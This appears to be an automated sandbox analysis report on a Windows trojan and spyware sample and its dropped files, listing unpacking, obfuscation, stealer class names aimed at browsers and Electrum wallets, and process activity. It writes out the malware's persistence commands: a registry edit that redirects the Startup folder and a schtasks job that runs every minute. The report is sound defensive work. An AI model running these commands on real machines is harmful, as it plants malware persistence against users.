Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C01F10	28_2_02C01F10
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02F27	28_2_02C02F27
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02CCC	28_2_02C02CCC
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02CEC	28_2_02C02CEC
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C01C9A	28_2_02C01C9A
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02CAC	28_2_02C02CAC
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02C5B	28_2_02C02C5B
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C01C77	28_2_02C01C77
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02C79	28_2_02C02C79
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02C1D	28_2_02C02C1D
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C01C2A	28_2_02C01C2A
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C00C2A	28_2_02C00C2A
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02C3B	28_2_02C02C3B
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C00DCE	28_2_02C00DCE
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02DD9	28_2_02C02DD9
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C01DE2	28_2_02C01DE2
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C01D93	28_2_02C01D93
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02D98	28_2_02C02D98
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C01DB1	28_2_02C01DB1
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02DB6	28_2_02C02DB6
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C01D4E	28_2_02C01D4E
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02D7A	28_2_02C02D7A
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02D0A	28_2_02C02D0A
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C00D20	28_2_02C00D20
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Code function: 28_2_02C02D2A	28_2_02C02D2A
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Code function: 33_2_00424870	33_2_00424870
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Code function: 33_2_004238BD	33_2_004238BD
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Code function: 33_2_004031C0	33_2_004031C0
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Code function: 33_2_0041F210	33_2_0041F210
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Code function: 33_2_00413B47	33_2_00413B47
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Code function: 33_2_00422667	33_2_00422667
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Code function: 33_2_0041F76B	33_2_0041F76B

Source: b7cwlpwH6S.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: b7cwlpwH6S.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: b7cwlpwH6S.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: b7cwlpwH6S.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: ABA5.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: ABA5.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: ABA5.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: ABA5.exe.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: trgavvb.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: trgavvb.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: trgavvb.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: trgavvb.4.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: rnyuf.exe.32.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: rnyuf.exe.32.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: rnyuf.exe.32.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: rnyuf.exe.32.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: mrmoms[1].exe0.33.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: mrmoms.exe.33.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\explorer.exe

Section loaded: webio.dll

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user~1\AppData\Local\Temp\bd1299733e\

Source: b7cwlpwH6S.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED

Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Code function: String function: 004105E0 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Code function: String function: 0040EF20 appears 92 times
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: String function: 0040E1D8 appears 44 times
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: String function: 0400E428 appears 44 times

Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Code function: 0_2_00401995 Sleep,NtTerminateProcess,	0_2_00401995
Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Code function: 0_2_004019C0 Sleep,NtTerminateProcess,	0_2_004019C0
Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Code function: 0_2_004019A1 Sleep,NtTerminateProcess,	0_2_004019A1
Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Code function: 0_2_004019AD Sleep,NtTerminateProcess,	0_2_004019AD
Source: C:\Users\user\AppData\Roaming\trgavvb	Code function: 17_2_00401995 Sleep,NtTerminateProcess,	17_2_00401995
Source: C:\Users\user\AppData\Roaming\trgavvb	Code function: 17_2_004019C0 Sleep,NtTerminateProcess,	17_2_004019C0
Source: C:\Users\user\AppData\Roaming\trgavvb	Code function: 17_2_004019A1 Sleep,NtTerminateProcess,	17_2_004019A1
Source: C:\Users\user\AppData\Roaming\trgavvb	Code function: 17_2_004019AD Sleep,NtTerminateProcess,	17_2_004019AD

Source: mrmoms[1].exe0.33.dr	Static PE information: Section: ZLIB complexity 0.998015541444
Source: mrmoms[1].exe0.33.dr	Static PE information: Section: ZLIB complexity 0.998098273026
Source: mrmoms[1].exe0.33.dr	Static PE information: Section: 800-850 ZLIB complexity 0.999904983108
Source: mrmoms.exe.33.dr	Static PE information: Section: ZLIB complexity 0.998015541444
Source: mrmoms.exe.33.dr	Static PE information: Section: ZLIB complexity 0.998098273026
Source: mrmoms.exe.33.dr	Static PE information: Section: 800-850 ZLIB complexity 0.999904983108

Source: b7cwlpwH6S.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\trgavvb

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@19/32@63/8

Source: C:\Users\user\AppData\Local\Temp\EFC9.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ABA5.exe

Code function: 20_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,FindCloseChangeNotification,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,VariantClear,VariantClear,VariantClear,

20_2_004019F0

Source: b7cwlpwH6S.exe	Virustotal: Detection: 36%
Source: b7cwlpwH6S.exe	ReversingLabs: Detection: 59%

Source: C:\Users\user\Desktop\b7cwlpwH6S.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\b7cwlpwH6S.exe 'C:\Users\user\Desktop\b7cwlpwH6S.exe'
Source: unknown	Process created: C:\Users\user\AppData\Roaming\trgavvb C:\Users\user\AppData\Roaming\trgavvb
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\ABA5.exe C:\Users\user~1\AppData\Local\Temp\ABA5.exe
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\CA5D.exe C:\Users\user~1\AppData\Local\Temp\CA5D.exe
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\EFC9.exe C:\Users\user~1\AppData\Local\Temp\EFC9.exe
Source: C:\Users\user\AppData\Local\Temp\EFC9.exe	Process created: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe 'C:\Users\user~1\AppData\Local\Temp\bd1299733e\rnyuf.exe'
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /C REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user~1\AppData\Local\Temp\bd1299733e\
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR 'C:\Users\user~1\AppData\Local\Temp\bd1299733e\rnyuf.exe' /F
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user~1\AppData\Local\Temp\bd1299733e\
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe C:\Users\user~1\AppData\Local\Temp\bd1299733e\rnyuf.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\ABA5.exe C:\Users\user~1\AppData\Local\Temp\ABA5.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EFC9.exe	Process created: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe 'C:\Users\user~1\AppData\Local\Temp\bd1299733e\rnyuf.exe'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Process created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /C REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user~1\AppData\Local\Temp\bd1299733e\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /SC MINUTE /MO 1 /TN rnyuf.exe /TR 'C:\Users\user~1\AppData\Local\Temp\bd1299733e\rnyuf.exe' /F	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user~1\AppData\Local\Temp\bd1299733e\	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'

Source: C:\Windows\explorer.exe

File created: C:\Users\user~1\AppData\Local\Temp\ABA5.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ABA5.exe

20_2_004019F0

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5656:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2148:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5200:120:WilError_01
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Mutant created: \Sessions\1\BaseNamedObjects\152138533219352125563209
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4296:120:WilError_01

Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Command line argument: 08A		20_2_00413780
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Command line argument: >?B		33_2_00423E90

Source: 28.2.CA5D.exe.900000.0.unpack, XUkq7Bpxi011sLUeQA/mE22f1t3eiR0PcbtO4.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 28.2.CA5D.exe.900000.0.unpack, XUkq7Bpxi011sLUeQA/mE22f1t3eiR0PcbtO4.cs	Cryptographic APIs: 'CreateDecryptor'

Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\b7cwlpwH6S.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: b7cwlpwH6S.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\Mktmp\NL1\Release\NL1.pdb source: rnyuf.exe
Source:	Binary string: C:\wucuxava\9\viyoba\kixonaliru\yodofibup t.pdb source: ABA5.exe, 00000014.00000000.354255188.000000000041E000.00000002.00020000.sdmp
Source:	Binary string: VC:\sofaxebicesen\jay\cafaf.pdb source: b7cwlpwH6S.exe, 00000000.00000002.293640925.000000000041E000.00000002.00020000.sdmp, trgavvb, 00000011.00000000.335662928.000000000041E000.00000002.00020000.sdmp
Source:	Binary string: C:\sofaxebicesen\jay\cafaf.pdb source: b7cwlpwH6S.exe, 00000000.00000002.293640925.000000000041E000.00000002.00020000.sdmp, trgavvb, 00000011.00000000.335662928.000000000041E000.00000002.00020000.sdmp
Source:	Binary string: @C:\wucuxava\9\viyoba\kixonaliru\yodofibup t.pdb source: ABA5.exe, 00000014.00000000.354255188.000000000041E000.00000002.00020000.sdmp
Source:	Binary string: _.pdb source: ABA5.exe, 00000014.00000002.459761733.0000000004110000.00000004.00000001.sdmp
Source:	Binary string: C:\memub\z.pdb source: rnyuf.exe, 00000021.00000000.463393998.000000000041E000.00000002.00020000.sdmp
Source:	Binary string: C:\memub\z.pdb source: rnyuf.exe, 00000021.00000000.463393998.000000000041E000.00000002.00020000.sdmp

Data Obfuscation:

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Unpacked PE file: 0.2.b7cwlpwH6S.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\trgavvb	Unpacked PE file: 17.2.trgavvb.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\CA5D.exe	Unpacked PE file: 28.2.CA5D.exe.900000.0.unpack :ER; :W;BLOTI280:ER; :R;.idata:W;.themida:EW;.boot:ER;BLOTI280:ER;.rsrc:R; vs :ER; :W;BLOTI280:ER; :R;
Source: C:\Users\user\AppData\Local\Temp\EFC9.exe	Unpacked PE file: 32.2.EFC9.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Unpacked PE file: 33.2.rnyuf.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Unpacked PE file: 39.2.rnyuf.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

.NET source code contains method to dynamically call methods (often used by packers)

Show sources

Source: 28.2.CA5D.exe.900000.0.unpack, XUkq7Bpxi011sLUeQA/mE22f1t3eiR0PcbtO4.cs

.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)

Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Code function: 0_2_00402263 push ebp; retf	0_2_0040226F
Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Code function: 0_2_004012DB push ebx; ret	0_2_004012DC
Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Code function: 0_2_026222B3 push ebp; retf	0_2_026222BF
Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Code function: 0_2_0262132B push ebx; ret	0_2_0262132C
Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Code function: 0_2_0268C360 push es; retf	0_2_0268C3F7
Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Code function: 0_2_0268CC1A push BD822063h; retf	0_2_0268CC51
Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Code function: 0_2_0268C3E3 push es; retf	0_2_0268C3F7
Source: C:\Users\user\Desktop\b7cwlpwH6S.exe	Code function: 0_2_0268EBD2 push esp; retf	0_2_0268EBD5
Source: C:\Users\user\AppData\Roaming\trgavvb	Code function: 17_2_00402263 push ebp; retf	17_2_0040226F
Source: C:\Users\user\AppData\Roaming\trgavvb	Code function: 17_2_004012DB push ebx; ret	17_2_004012DC
Source: C:\Users\user\AppData\Roaming\trgavvb	Code function: 17_2_024922B3 push ebp; retf	17_2_024922BF
Source: C:\Users\user\AppData\Roaming\trgavvb	Code function: 17_2_0249132B push ebx; ret	17_2_0249132C
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_0041C40C push cs; iretd	20_2_0041C4E2
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_00423149 push eax; ret	20_2_00423179
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_0041C50E push cs; iretd	20_2_0041C4E2
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_004231C8 push eax; ret	20_2_00423179
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_0040E21D push ecx; ret	20_2_0040E230
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_0041C6BE push ebx; ret	20_2_0041C6BF
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_0400E46D push ecx; ret	20_2_0400E480
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_0401BE5C push cs; iretd	20_2_0401BF32
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_0401BF5E push cs; iretd	20_2_0401BF32
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_0401C10E push ebx; ret	20_2_0401C10F
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_0447CC12 push es; ret	20_2_0447CC20
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_04473F90 push es; ret	20_2_04473FA0
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_044748C0 push es; ret	20_2_044748D0
Source: C:\Users\user\AppData\Local\Temp\ABA5.exe	Code function: 20_2_04476970 push es; ret	20_2_04476A00
Source: C:\Users\user\AppData\Local\Temp\EFC9.exe	Code function: 32_2_026FDA5B push 9E2A1510h; retf	32_2_026FDA62
Source: C:\Users\user\AppData\Local\Temp\EFC9.exe	Code function: 32_2_026FC83F push es; ret	32_2_026FC86D
Source: C:\Users\user\AppData\Local\Temp\EFC9.exe	Code function: 32_2_026FC7AB push cs; iretd	32_2_026FC7AC
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Code function: 33_2_0042BE05 push esi; ret	33_2_0042BE0E
Source: C:\Users\user\AppData\Local\Temp\bd1299733e\rnyuf.exe	Code function: 33_2_00410626 push ecx; ret	33_2_00410639

Source: C:\Users\user\Desktop\b7cwlpwH6S.exe

Code function: 0_2_0041BA90 LoadLibraryA,GetProcAddress,VirtualProtect,

0_2_0041BA90

Source: mrmoms[1].exe0.33.dr

Static PE information: 0xE9F4A437 [Wed May 19 16:15:51 2094 UTC]

Source: mrmoms[1].exe0.33.dr	Static PE information: section name:
Source: mrmoms[1].exe0.33.dr	Static PE information: section name:
Source: mrmoms[1].exe0.33.dr	Static PE information: section name:
Source: mrmoms[1].exe0.33.dr	Static PE information: section name:
Source: mrmoms[1].exe0.33.dr	Static PE information: section name: 800-850
Source: mrmoms[1].exe0.33.dr	Static PE information: section name: .themida
Source: mrmoms[1].exe0.33.dr	Static PE information: section name: .boot
Source: mrmoms[1].exe0.33.dr	Static PE information: section name: 800-850
Source: mrmoms.exe.33.dr	Static PE information: section name:
Source: mrmoms.exe.33.dr	Static PE information: section name:
Source: mrmoms.exe.33.dr	Static PE information: section name:
Source: mrmoms.exe.33.dr	Static PE information: section name:
Source: mrmoms.exe.33.dr	Static PE information: section name: 800-850
Source: mrmoms.exe.33.dr	Static PE information: section name: .themida
Source: mrmoms.exe.33.dr	Static PE information: section name: .boot
Source: mrmoms.exe.33.dr	Static PE information: section name: 800-850

Source: initial sample

Static PE information: section where entry point is pointing to: .boot

Source: mrmoms.exe.33.dr	Static PE information: real checksum: 0x331b8d should be: 0x33d485
Source: mrmoms[1].exe0.33.dr	Static PE information: real checksum: 0x331b8d should be: 0x33d485

Source: initial sample	Static PE information: section name: entropy: 7.97816463867
Source: initial sample	Static PE information: section name: 800-850 entropy: 7.99776784586
Source: initial sample	Static PE information: section name: 800-850 entropy: 7.32116422565
Source: initial sample	Static PE information: section name: entropy: 7.97816463867
Source: initial sample	Static PE information: section name: 800-850 entropy: 7.99776784586
Source: initial sample	Static PE information: section name: 800-850 entropy: 7.32116422565

Source: 28.2.CA5D.exe.900000.0.unpack, Gecko.cs	High entropy of concatenated method names: 'Scan', 'ytYXqnqeF', 'GeckoRoamingName', 'GeckoLocalName', 'Hq3hUfmYMcN410qhe2', 'cGVke3VrWQERRLKG6E', 'Ua0vFpAoEgc1RqkdGL', 'FI5yb0G0xt4Ub3J8QM', 'GesTVR7ii10wGZI5Ng', 'HD4ev5TkTVUWdBfVBo'
Source: 28.2.CA5D.exe.900000.0.unpack, Program.cs	High entropy of concatenated method names: 'spl7PqDTV', 'Execute', 'SeenBefore', '.cctor', 'JIHvVrPLU9RQOQLaaCW', 'qx4Rs3Pe68Uaww46nhe', 'y51BJ0PfNWjeqHNWmC0', 'PF6C8oP5lItN3HW6r5I', 'hSxgaWP2y2ZSXN6feKN', 'tYsGkcPyJu1XBNE6YmF'
Source: 28.2.CA5D.exe.900000.0.unpack, CryptoHelper.cs	High entropy of concatenated method names: 'DecryptBlob', 'DecryptBlob', 'GetMd5Hash', 'oHUGbys97', 'XarH0gjoX1u5fPEOIE', 'aKlLhJOBhaOA7jOJTK', 'SKmQmo955NmgVW8vtI', 'kbYABmRwtkAeJbUF1p', 'rdjnSSdMsp1K7vYIND', 'FcpnQ3sID4kKeWSS2S'
Source: 28.2.CA5D.exe.900000.0.unpack, DataBaseConnection.cs	High entropy of concatenated method names: 'get_RowLength', '.ctor', 'ParseValue', 'ParseValue', 'GetRowCount', 'MV85V3iTF', 'jyv1vNYXh', 'ReadTable', 'GtkM3ytpf', 'W18e6mw6a'
Source: 28.2.CA5D.exe.900000.0.unpack, RbpauWC1iVBH8ZHmF4/ENhMfFxLBXVsklg4jB.cs	High entropy of concatenated method names: 'Th1kr3Na8I', 'xoXk7uAxjN', 'Ue8ktGo1uR', '.ctor', 'kLjw4iIsCLsZtxc4lksN0j', '.cctor', 'sE4N9mqt2lthKxAnjA', 'onTJvLoAk4dvV5cptK', 'VexQ2dhJHoBYwAisjR', 'nHX35yWrwPBvy4bEpy'
Source: 28.2.CA5D.exe.900000.0.unpack, GeoHelper.cs	High entropy of concatenated method names: 'Get', 'u8qaATgL9pqkXb8pLKT', 'MwUkZEgeBUAqme9qWLe', 'H6b9DvgfVbBX5sMEOBK', 'ERkDyCg51LNIHlxicfq', 'SMWr7gg2j966uqhrqGZ', 'fZs3L1gyPIFeOclM8RI', 'uXr3ongvHiC3r7hjBDg', 'sT21Zsgh4MimVURJ3TG', 'c8bHj5gB3IywbQRUAmK'
Source: 28.2.CA5D.exe.900000.0.unpack, GdiHelper.cs	High entropy of concatenated method names: 'jOgJB6d9J', 'GetWindowsScreenScalingFactor', 'MonitorSize', 'Parse', 'ErKjQlJx5', 'NnYXDlgWakKccxIkco5', 'eMEcRHb1G8H62klU3EF', 'PHaJykbzobMHalqObYi', 'L8xeAZgPNM8WJbKrRKj', 'R1S02lgDGOeUHZi2YDO'
Source: 28.2.CA5D.exe.900000.0.unpack, SystemInfoHelper.cs	High entropy of concatenated method names: 'CreateBind', 'GetProcessors', 'GetGraphicCards', 'GetFirewalls', 'GetBrowsers', 'GetSerialNumber', 'ListOfProcesses', 'GetProcessesByName', 'ListOfPrograms', 'AvailableLanguages'
Source: 28.2.CA5D.exe.900000.0.unpack, ElectrumRule.cs	High entropy of concatenated method names: '.ctor', 'GetFolder', 'GetScanArgs', 'bUQU1LD4qLhXIjWeGb4', 'n6R22fDL89ejKrtvv9v', 'e5mBmTDXWgksaxmefvg', 'xVwcQNDkeYD6aDNs6cS', 'YbNtWkDepFAOAR7EiA4', 'shyPZHDfQksZNKe0WoI', 'i5MbYLD5wbIgI4vwGvK'
Source: 28.2.CA5D.exe.900000.0.unpack, EndpointConnection.cs	High entropy of concatenated method names: '.ctor', 'RequestConnection', 'TryGetConnection', 'TryGetArgs', 'TryVerify', 'TryGetTasks', 'TryCompleteTask', 'Dispose', 'Dispose', 'qR1uIHPbRl26UwFyqtq'
Source: 28.2.CA5D.exe.900000.0.unpack, StringDecrypt.cs	High entropy of concatenated method names: 'qiu97ado6', 'jTxR9NyYB', 'Jb0cg7n5g', 'Decrypt', 'SIpPEawnOHL0FlmXHC', 'jHmv0ZMP1iefoKnd3X', 'lXUMsNFlgtbdFZpD4W', 'SDkbarr9GIRUZkWFHJ', 'KcpQN5aKubtGMkp4cN', 'TYYdQ31DiID3fJJSRp'
